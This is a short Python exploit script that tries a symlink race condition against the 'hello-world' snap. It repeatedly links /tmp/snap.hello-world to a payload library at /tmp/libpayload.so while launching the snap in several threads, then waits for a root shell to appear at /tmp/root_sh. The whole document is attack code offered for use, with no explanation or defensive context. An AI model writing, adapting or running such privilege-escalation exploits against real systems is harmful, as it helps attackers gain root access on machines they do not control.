import os import threading import subprocess import shutil TARGET_DIR = "/tmp/snap.hello-world" PAYLOAD_PATH = "/tmp/libpayload.so" ROOT_SHELL = "/tmp/root_sh" def trigger(): while not os.path.exists(ROOT_SHELL): subprocess.run(["hello-world"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def racer(): payload = "/tmp/libpayload.so" target = "/tmp/snap.hello-world" while True: try: os.symlink(payload, target) os.unlink(target) except: pass if __name__ == "__main__": if not os.path.exists(PAYLOAD_PATH): print("[-] Error: Payload .so not found in /tmp/") exit(1) print(f"[*] Starting Race Condition against {TARGET_DIR}...") threads = [] for _ in range(4): threads.append(threading.Thread(target=trigger)) threads.append(threading.Thread(target=racer)) for t in threads: t.daemon = True t.start() while not os.path.exists(ROOT_SHELL): pass print("[!] Race WON! Shutting down threads...")